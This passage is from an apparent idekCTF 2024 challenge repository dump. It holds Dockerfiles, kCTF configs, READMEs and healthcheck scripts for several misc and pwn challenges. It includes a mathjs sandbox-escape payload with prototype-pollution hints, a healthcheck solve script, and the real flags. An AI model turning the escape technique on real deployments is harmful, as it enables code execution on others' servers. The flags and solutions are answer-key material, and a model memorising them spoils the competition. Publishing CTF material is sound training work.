6 | ![basic_calculator(input=f = resolve("constructor('test')")._compile({},{}); p = f(null, cos); p())](https://locker.kotoha.moe/-7dHvMPe7ww/yes.png) 7 | 8 | **Hints (24hr mark):** 9 | 10 | the intended solution uses the prototype pollution in order to access arbitrary properties of any object, in particular `({}).constructor`; it then uses this to get access to the global object and win. (getting access to the function constructor, `Function`, does not immediately win given the `--disallow-code-generation-from-strings` option.) 11 | 12 | node internals are out of scope for the intended solution. 13 | 14 | specific hints for the intended solution (there may be other ways to achieve the above): 15 | 16 | - have you seen this? https://github.com/josdejong/mathjs/blob/14acdad7e8e2f9e2dbb6fc26ab1eef569e02138d/HISTORY.md?plain=1#L1666-L1668 17 | - how is accessing object properties implemented? 18 | - `Error.prepareStackTrace` 19 | 20 | socat: true 21 | -------------------------------------------------------------------------------- /misc/memoryfs/README.md: -------------------------------------------------------------------------------- 1 | # MemoryFS 2 | **Category:** Misc 3 | **Difficulty:** Easy 4 | **Author:** __jw 5 | 6 | ## Description 7 | Are you sick and tired of law enforcement busting down your door, stealing your hard drives, and then finding all your pirated movies? Well, fret no more, because with MemoryFS, once those goons unplug your computer, your files are wiped! 8 | -------------------------------------------------------------------------------- /misc/memoryfs/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: memoryfs 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/memoryfs-healthcheck:0edd0b576bd144f05ee29f1210ca8e86ee29dda58c18dae405cd3c0f750afb62 14 | image: us.gcr.io/idekctf-374221/memoryfs-challenge:54c63207cf128e08777bacbd6e0a2a8f643f31b9c27ce816a98e267ad3e3a2e9 15 | -------------------------------------------------------------------------------- /misc/memoryfs/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim 2 | 3 | RUN apt update && apt install -y socat 4 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 5 | WORKDIR /home/user 6 | COPY main.py main.py 7 | RUN chmod +x main.py 8 | 9 | USER user 10 | 11 | ENV FLAG="idek{sh311_r3wr1t3_sh3n4n1g4ns}" 12 | 13 | CMD socat \ 14 | TCP-LISTEN:1337,reuseaddr,fork \ 15 | EXEC:"./main.py" 16 | -------------------------------------------------------------------------------- /misc/memoryfs/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /misc/memoryfs/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /misc/memoryfs/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import pwnlib.tubes 18 | 19 | p = pwnlib.tubes.remote.remote('127.0.0.1', 1337) 20 | 21 | 22 | p.sendline(b"mkdir flag.txt") 23 | p.sendline(b"mkdir flag.txt/b") 24 | p.sendline(b"ln flag.txt a") 25 | p.sendline(b"cd a/b") 26 | p.sendline(b"rm /a") 27 | p.sendline(b"cd ..") 28 | p.sendline(b"rm /flag.txt/b") 29 | p.sendline(b"rm /flag.txt") 30 | p.sendline(b"create_flag") 31 | p.sendline(b"cat $PWD") 32 | assert b'idek{' in p.recvuntil(b'\n') 33 | p.sendline(b"exit") 34 | p.close() 35 | 36 | exit(0) 37 | -------------------------------------------------------------------------------- /misc/memoryfs/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /misc/memoryfs/meta.yaml: -------------------------------------------------------------------------------- 1 | name: memoryfs 2 | author: __jw 3 | public: true 4 | flag: "idek{sh311_r3wr1t3_sh3n4n1g4ns}" 5 | description: |- 6 | Are you sick and tired of law enforcement busting down your door, stealing your hard drives, and then finding all your pirated movies? Well, fret no more, because with MemoryFS, once those goons unplug your computer, your files are wiped! 7 | -------------------------------------------------------------------------------- /misc/minecraft-hacked/README.md: -------------------------------------------------------------------------------- 1 | # Hello 2 | **Category:** Misc 3 | **Difficulty:** Easy - Medium 4 | **Author:** JoshL 5 | 6 | ## Description 7 | 8 | You might remember the [cat coordinate exploit](https://www.youtube.com/watch?v=TAUrzkOYLUk) used to find LiveOverflow. Well, pumpkin steve has captured LiveOverflow, and it is your job to find LiveOverflow again. But this time he left something else behind... -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gradle:jdk17 2 | 3 | WORKDIR /app 4 | 5 | COPY build.gradle settings.gradle gradlew gradle.properties . 6 | COPY gradle gradle 7 | RUN ./gradlew build 8 | COPY . . 9 | 10 | RUN ./gradlew runServer 11 | RUN sed -i -e "s/false/true/g" run/eula.txt 12 | RUN sed -i -e "s/online-mode=true/online-mode=false/g" run/server.properties 13 | RUN sed -i -e "s/spawn-protection=16/spawn-protection=0/g" run/server.properties 14 | RUN sed -i -e "s/motd=A Minecraft Server/motd=idekCTF - Minecraft:HACKED/g" run/server.properties 15 | RUN sed -i -e "s/25565/1337/g" run/server.properties 16 | 17 | CMD [ "./gradlew", "runServer" ] -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/compress.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | tar -czvf minecraft-hacked.tar.gz gradlew gradlew.bat build.gradle gradle.properties gradle/ settings.gradle src/ compress.sh Dockerfile docker-compose.yml -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | minecraft: 3 | build: . 4 | ports: 5 | - "1337:1337" 6 | environment: 7 | - FLAG=idekCTF{placeholder} -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/gradle.properties: -------------------------------------------------------------------------------- 1 | # Done to increase the memory available to gradle. 2 | org.gradle.jvmargs=-Xmx1G 3 | org.gradle.parallel=true 4 | 5 | # Fabric Properties 6 | # check these on https://fabricmc.net/develop 7 | minecraft_version=1.19.2 8 | yarn_mappings=1.19.2+build.28 9 | loader_version=0.14.10 10 | carpet_core_version=1.4.84+v221018 11 | 12 | # Mod Properties 13 | mod_version=1.0.0 14 | maven_group=com.challenge 15 | archives_base_name=modid 16 | 17 | # Dependencies 18 | fabric_version=0.67.0+1.19.2 -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/misc/minecraft-hacked/attachments/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.8-bin.zip 4 | networkTimeout=10000 5 | validateDistributionUrl=true 6 | zipStoreBase=GRADLE_USER_HOME 7 | zipStorePath=wrapper/dists 8 | -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | mavenCentral() 8 | gradlePluginPortal() 9 | } 10 | } -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/src/main/resources/assets/modid/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/misc/minecraft-hacked/attachments/src/main/resources/assets/modid/icon.png -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "modid", 4 | "version": "${version}", 5 | "name": "idekCTF 2024", 6 | "description": "Go find me!", 7 | "authors": [ 8 | "JoshL" 9 | ], 10 | "contact": { 11 | "homepage": "https://fabricmc.net/" 12 | }, 13 | "license": "CC0-1.0", 14 | "icon": "assets/modid/icon.png", 15 | "environment": "*", 16 | "entrypoints": { 17 | "main": [ 18 | "com.challenge.Challenge" 19 | ] 20 | }, 21 | "mixins": [ 22 | "modid.mixins.json", 23 | { 24 | "config": "modid.client.mixins.json", 25 | "environment": "client" 26 | } 27 | ], 28 | "depends": { 29 | "fabricloader": ">=0.14.10", 30 | "minecraft": "~1.19.2", 31 | "java": ">=17", 32 | "fabric-api": "*", 33 | "carpet": "*" 34 | }, 35 | "suggests": { 36 | "another-mod": "*" 37 | } 38 | } -------------------------------------------------------------------------------- /misc/minecraft-hacked/attachments/src/main/resources/modid.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "package": "com.challenge.mixin", 4 | "compatibilityLevel": "JAVA_17", 5 | "mixins": [ 6 | "InitMixin" 7 | ], 8 | "injectors": { 9 | "defaultRequire": 1 10 | } 11 | } -------------------------------------------------------------------------------- /misc/minecraft-hacked/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd challenge && docker build -t mincraft-hacked . \ 4 | && docker tag mincraft-hacked gcr.io/idekctf-374221/mincraft-hacked \ 5 | && docker push gcr.io/idekctf-374221/mincraft-hacked -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/.gitattributes: -------------------------------------------------------------------------------- 1 | idek.tar.gz filter=lfs diff=lfs merge=lfs -text 2 | world.tar.gz filter=lfs diff=lfs merge=lfs -text 3 | -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gradle:jdk17 2 | 3 | WORKDIR /app 4 | 5 | COPY build.gradle settings.gradle gradlew gradle.properties . 6 | COPY gradle gradle 7 | RUN ./gradlew build 8 | COPY . . 9 | 10 | RUN ./gradlew runServer 11 | RUN sed -i -e "s/false/true/g" run/eula.txt 12 | RUN sed -i -e "s/online-mode=true/online-mode=false/g" run/server.properties 13 | RUN sed -i -e "s/spawn-protection=16/spawn-protection=0/g" run/server.properties 14 | RUN sed -i -e "s/motd=A Minecraft Server/motd=idekCTF - Minecraft:HACKED/g" run/server.properties 15 | RUN sed -i -e "s/25565/1337/g" run/server.properties 16 | 17 | RUN tar xf world.tar.gz -C run/ 18 | 19 | ENV FLAG=idekCTF{storage_tech_is_my_passion_c1bdf8b2} 20 | 21 | CMD [ "./gradlew", "runServer" ] -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/compress.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | tar -czvf minecraft-hacked.tar.gz gradlew gradlew.bat build.gradle gradle.properties gradle/ settings.gradle src/ compress.sh Dockerfile docker-compose.yml -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | minecraft: 3 | build: . 4 | ports: 5 | - "1337:1337" 6 | environment: 7 | - FLAG=idekCTF{storage_tech_is_my_passion_c1bdf8b2} -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/gradle.properties: -------------------------------------------------------------------------------- 1 | # Done to increase the memory available to gradle. 2 | org.gradle.jvmargs=-Xmx1G 3 | org.gradle.parallel=true 4 | 5 | # Fabric Properties 6 | # check these on https://fabricmc.net/develop 7 | minecraft_version=1.19.2 8 | yarn_mappings=1.19.2+build.28 9 | loader_version=0.14.10 10 | carpet_core_version=1.4.84+v221018 11 | 12 | # Mod Properties 13 | mod_version=1.0.0 14 | maven_group=com.challenge 15 | archives_base_name=modid 16 | 17 | # Dependencies 18 | fabric_version=0.67.0+1.19.2 -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/misc/minecraft-hacked/challenge/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.8-bin.zip 4 | networkTimeout=10000 5 | validateDistributionUrl=true 6 | zipStoreBase=GRADLE_USER_HOME 7 | zipStorePath=wrapper/dists 8 | -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/readme.md: -------------------------------------------------------------------------------- 1 | 2 | JOSHUA RUN THIS AFTER EACH OTHER TO MAKE THE THING WORK OKAY 3 | 4 | cat idek.tar.gz.part* > idek.tar.gz 5 | 6 | tar -xvzf idek.tar.gz 7 | -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | mavenCentral() 8 | gradlePluginPortal() 9 | } 10 | } -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/src/main/resources/assets/modid/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/misc/minecraft-hacked/challenge/src/main/resources/assets/modid/icon.png -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "modid", 4 | "version": "${version}", 5 | "name": "idekCTF 2024", 6 | "description": "Go find me!", 7 | "authors": [ 8 | "JoshL" 9 | ], 10 | "contact": { 11 | "homepage": "https://fabricmc.net/" 12 | }, 13 | "license": "CC0-1.0", 14 | "icon": "assets/modid/icon.png", 15 | "environment": "*", 16 | "entrypoints": { 17 | "main": [ 18 | "com.challenge.Challenge" 19 | ] 20 | }, 21 | "mixins": [ 22 | "modid.mixins.json", 23 | { 24 | "config": "modid.client.mixins.json", 25 | "environment": "client" 26 | } 27 | ], 28 | "depends": { 29 | "fabricloader": ">=0.14.10", 30 | "minecraft": "~1.19.2", 31 | "java": ">=17", 32 | "fabric-api": "*", 33 | "carpet": "*" 34 | }, 35 | "suggests": { 36 | "another-mod": "*" 37 | } 38 | } -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/src/main/resources/modid.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "package": "com.challenge.mixin", 4 | "compatibilityLevel": "JAVA_17", 5 | "mixins": [ 6 | "InitMixin" 7 | ], 8 | "injectors": { 9 | "defaultRequire": 1 10 | } 11 | } -------------------------------------------------------------------------------- /misc/minecraft-hacked/challenge/world.tar.gz: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:4e17733b581d2e87d44756e93ac7cd8282186059a60ba775e213ffc57cb199b3 3 | size 110811935 4 | -------------------------------------------------------------------------------- /misc/minecraft-hacked/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Minecraft - HACKED 2 | author: JoshL 3 | public: true 4 | flag: idekCTF{storage_tech_is_my_passion_c1bdf8b2} 5 | description: You might remember the [cat coordinate 6 | exploit](https://www.youtube.com/watch?v=TAUrzkOYLUk) used to find 7 | LiveOverflow. Well, pumpkin steve has captured LiveOverflow, and it is your job to find LiveOverflow again. But this time 8 | he left something else behind... 9 | 10 | 11 | **PLEASE TEST YOUR SOLVE LOCALLY BEFORE STARTING AN INSTANCE** 12 | 13 | 14 | After starting the instancer, run `socat tcp-listen:25565,fork,reuseaddr openssl::1337` and join the server on `localhost:25565` 15 | 16 | instancer: true -------------------------------------------------------------------------------- /misc/nmpz1/README.md: -------------------------------------------------------------------------------- 1 | # NM~~PZ~~ - easy 2 | **Category:** Misc 3 | **Difficulty:** Easy 4 | **Author:** jazzzooo 5 | 6 | ## Description 7 | 8 | Just a few completely random locations. 9 | -------------------------------------------------------------------------------- /misc/nmpz1/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: nmpz 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: false 13 | image: us.gcr.io/idekctf-374221/nmpz-challenge:06aed3cffbfa78f78440544a3c3126751312b8054dbb7310b2b6d52f2444a136 14 | -------------------------------------------------------------------------------- /misc/nmpz1/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22 2 | 3 | WORKDIR /usr/src/app 4 | 5 | RUN npm install body-parser cookie-parser express jsdom node-fetch@2 6 | 7 | COPY . . 8 | 9 | RUN tar xf public/img.tar.gz -C public 10 | 11 | EXPOSE 1337 12 | 13 | CMD [ "node", "server.js" ] 14 | -------------------------------------------------------------------------------- /misc/nmpz1/challenge/chall.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | NMPZ 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 |
14 |
15 | 16 |
17 |
18 | 19 | 20 | 21 | 22 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /misc/nmpz1/challenge/public/.gitattributes: -------------------------------------------------------------------------------- 1 | img.tar.gz filter=lfs diff=lfs merge=lfs -text 2 | -------------------------------------------------------------------------------- /misc/nmpz1/challenge/public/img.tar.gz: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:cc531856ba5deafa2a6cfadea8dac5ba3fb50d200b1dd532869336be8c02db56 3 | size 441234399 4 | -------------------------------------------------------------------------------- /misc/nmpz1/meta.yaml: -------------------------------------------------------------------------------- 1 | name: NM~~PZ~~ - easy 2 | author: jazzzooo 3 | public: true 4 | flag: idek{very_iconic_tower_75029e39} 5 | description: Just a few completely random locations. 6 | http: true -------------------------------------------------------------------------------- /misc/nmpz2/README.md: -------------------------------------------------------------------------------- 1 | # NM~~PZ~~ - medium 2 | **Category:** Misc 3 | **Difficulty:** Medium 4 | **Author:** jazzzooo 5 | 6 | ## Description 7 | 8 | Some harder strategies are required for this one. 9 | -------------------------------------------------------------------------------- /misc/nmpz2/meta.yaml: -------------------------------------------------------------------------------- 1 | name: NM~~PZ~~ - medium 2 | author: jazzzooo 3 | flag: idek{idekctf_infra_is_hosted_in_salekhard_a07ca573} 4 | public: true 5 | description: | 6 | Some harder strategies are required for this one. 7 | 8 | [http://nmpz.chal.idek.team:1337/](http://nmpz.chal.idek.team:1337/) -------------------------------------------------------------------------------- /misc/nmpz3/README.md: -------------------------------------------------------------------------------- 1 | # NM~~PZ~~ - hard 2 | **Category:** Misc 3 | **Difficulty:** Hard 4 | **Author:** jazzzooo 5 | 6 | ## Description 7 | 8 | The best part of making this is not needing to solve it. 9 | -------------------------------------------------------------------------------- /misc/nmpz3/meta.yaml: -------------------------------------------------------------------------------- 1 | name: NM~~PZ~~ - hard 2 | author: jazzzooo 3 | public: true 4 | flag: idek{next_year_only_indoor_photospheres_49c8e584} 5 | description: | 6 | The best part of making this is not needing to solve it. 7 | 8 | [http://nmpz.chal.idek.team:1337/](http://nmpz.chal.idek.team:1337/) 9 | 10 | 11 | **Hint for NMPZ - hard butterfly**: It is located in Lithuania 12 | -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/README.md: -------------------------------------------------------------------------------- 1 | 5 second pow on kctf pls -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM pwn.red/jail 2 | 3 | COPY --from=ubuntu:24.04@sha256:c920ba4cfca05503764b785c16b76d43c83a6df8d1ab107e7e6610000d94315c / /srv 4 | COPY chal /srv/app/run 5 | COPY flag.txt /srv/app/ 6 | 7 | ENV JAIL_TIME=300 -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/attachments/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/a-silence-of-three-parts/attachments/chal -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/attachments/flag.txt: -------------------------------------------------------------------------------- 1 | idek{testflag} -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: a-silence-of-three-parts 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 5 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/a-silence-of-three-parts-healthcheck:92b08f2cb1ad5a57cc6165974766c167be4c9685831067e037c80bb5df07bf3e 14 | image: us.gcr.io/idekctf-374221/a-silence-of-three-parts-challenge:5319e3e63e7f4e778a73d0f2743ad72f9d1640b982533e38b9d97baf6c3784fc 15 | -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:24.04@sha256:c920ba4cfca05503764b785c16b76d43c83a6df8d1ab107e7e6610000d94315c AS chroot 15 | 16 | COPY flag.txt / 17 | COPY chal /home/user/chal 18 | 19 | FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f 20 | 21 | COPY --from=chroot / /chroot 22 | 23 | COPY nsjail.cfg /home/user/ 24 | 25 | CMD kctf_setup && \ 26 | kctf_drop_privs \ 27 | socat \ 28 | TCP-LISTEN:1337,reuseaddr,fork \ 29 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 30 | -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc chal.c -o chal -Wl,-z,now -fstack-protector-all -pie -o chal 3 | python3 patch.py 4 | pwnq patch --rpath . --interp ./ld-linux-x86-64.so.2 chal patched 5 | cp patched ../healthcheck -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/a-silence-of-three-parts/challenge/chal -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{random_flag_because_im_writing_the_chal_1_day_before_the_ctf} -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge/patch.py: -------------------------------------------------------------------------------- 1 | from pwnc.minelf import ELF 2 | 3 | raw_elf_bytes = open("chal", "rb").read() 4 | elf = ELF(raw_elf_bytes) 5 | last = next(filter(lambda segment: segment.type == 1, reversed(elf.segments))) 6 | last.mem_size += 0x07000 7 | with open("chal", "wb+") as fp: 8 | fp.write(elf.raw_elf_bytes) -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/challenge/patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/a-silence-of-three-parts/challenge/patched -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY patched libc.so.6 healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=300 18 | PERIOD=120 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/healthcheck/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/a-silence-of-three-parts/healthcheck/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/healthcheck/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/a-silence-of-three-parts/healthcheck/libc.so.6 -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/healthcheck/patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/a-silence-of-three-parts/healthcheck/patched -------------------------------------------------------------------------------- /pwn/a-silence-of-three-parts/meta.yaml: -------------------------------------------------------------------------------- 1 | name: a silence of three parts 2 | author: unvariant 3 | public: true 4 | flag: idek{random_flag_because_im_writing_the_chal_1_day_before_the_ctf} 5 | description: |- 6 | I love leakless 